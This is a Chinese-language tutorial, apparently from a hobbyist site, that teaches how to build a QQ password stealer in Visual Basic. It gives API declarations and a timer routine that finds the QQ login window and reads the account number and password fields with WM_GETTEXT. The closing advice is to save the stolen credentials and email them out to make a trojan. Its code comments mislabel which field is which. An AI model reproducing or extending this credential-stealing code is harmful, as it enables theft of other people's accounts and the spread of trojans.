现在网上获取QQ密码的软件多如牛毛,随便到一个搜索擎上找一下,绝不小于十来个.那你想不想知道他们是如何做的呢?今天我们就用VB来演示一下吧,当然这里的只给出了它的核心代码,如需真的拿来用的话,那么你还的得自己再改一下,不过出了问题,我可不负责任哦!
现在我们先来认识几个Api函数吧,Findwindow、Getdlgitem、sendmessage。
findwindow VB声明
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
说明
寻找窗口列表中第一个符合指定条件的顶级窗口(在vb里使用:FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄;该类是所有运行中vb执行程序的一部分。获得句柄后,可用api函数GetWindowText取得这个窗口的名称;该名也是应用程序的标题)
返回值
Long,找到窗口的句柄。如未找到相符窗口,则返回零。会设置GetLastError
参数表
参数 类型及说明
lpClassName String,指向包含了窗口类名的空中止(C语言)字串的指针;或设为零,表示接收任何类
lpWindowName String,指向包含了窗口文本(或标签)的空中止(C语言)字串的指针;或设为零,表示接收任何窗口标题
注解
很少要求同时按类与窗口名搜索。为向自己不准备参数传递一个零,最简便的办法是传递vbNullString常数
Sendmessage
VB声明
Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
Declare Function SendMessageBynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
说明
调用一个窗口的窗口函数,将一条消息发给那个窗口。除非消息处理完毕,否则该函数不会返回。SendMessageBynum, SendMessageByString是该函数的“类型安全”声明形式
返回值
Long,由具体的消息决定
参数表
参数 类型及说明
hwnd Long,要接收消息的那个窗口的句柄
wMsg Long,消息的标识符
wParam Long,具体取决于消息
lParam Any,具体取决于消息
getdlgitem
VB声明
Private Declare Function GetDlgItem Lib "user32" Alias "GetDlgItem" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
说明
用来得到一个窗体子窗体的句柄,如一个按钮等
参数表 类型及说明
hwnd 父窗体的句柄
niddlgitem 子窗体的ID号码
OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。
很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
Private Sub Timer1_Timer()
Dim str As String
Dim nmb As String
Dim qqhwnd As Long
Dim numberhwnd As Long
Dim pwdhwnd As Long
Dim temp As Long
str = String(80, 0)
nmb = String(8, 0)
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
'到这里就可以得到登录框的句柄了.注意qq要大写哦!
If qqhwnd <> 0 Then
numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
notxt.Text = nmb
pwdtxt.Text = str
DoEvents
End If
End Sub
真么样呀,有没有学会呀,如果真的要把它做成一个qq木马的话,那么的可以把这个号码和密码保存成文件,然后再加上一个发邮件的引擎那样它就可以把它发到你的信箱里去了.
欢迎你来信和我讨论.
|